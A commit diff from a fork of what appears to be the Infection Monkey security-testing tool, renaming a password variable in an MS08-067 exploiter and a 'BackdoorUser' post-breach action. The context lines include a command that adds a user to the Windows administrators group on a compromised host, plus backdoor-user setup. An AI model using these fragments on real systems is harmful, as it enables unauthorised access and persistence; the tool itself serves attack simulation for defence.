forked from p15670423/monkey
Replace "remote_user_pwd" with "random_password"
This commit is contained in:
parent
636a201d19
commit
fc82b2a9dc
|
@ -231,7 +231,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
)
|
||||
|
||||
exploited = False
|
||||
remote_user_pwd = get_random_password()
|
||||
random_password = get_random_password()
|
||||
for _ in range(self._config.ms08_067_exploit_attempts):
|
||||
exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version)
|
||||
|
||||
|
@ -242,7 +242,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
"cmd /c (net user {} {} /add) &&"
|
||||
" (net localgroup administrators {} /add)\r\n".format(
|
||||
self._config.user_to_add,
|
||||
remote_user_pwd,
|
||||
random_password,
|
||||
self._config.user_to_add,
|
||||
).encode()
|
||||
)
|
||||
|
@ -266,7 +266,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
src_path,
|
||||
self._config.dropper_target_path_win_32,
|
||||
self._config.user_to_add,
|
||||
remote_user_pwd,
|
||||
random_password,
|
||||
)
|
||||
|
||||
if not remote_full_path:
|
||||
|
|
|
@ -7,10 +7,10 @@ from infection_monkey.utils.users import get_commands_to_add_user
|
|||
|
||||
class BackdoorUser(PBA):
|
||||
def __init__(self):
|
||||
remote_user_pwd = get_random_password()
|
||||
random_password = get_random_password()
|
||||
|
||||
linux_cmds, windows_cmds = get_commands_to_add_user(
|
||||
WormConfiguration.user_to_add, remote_user_pwd
|
||||
WormConfiguration.user_to_add, random_password
|
||||
)
|
||||
|
||||
super(BackdoorUser, self).__init__(
|
||||
|
|
Loading…
Reference in New Issue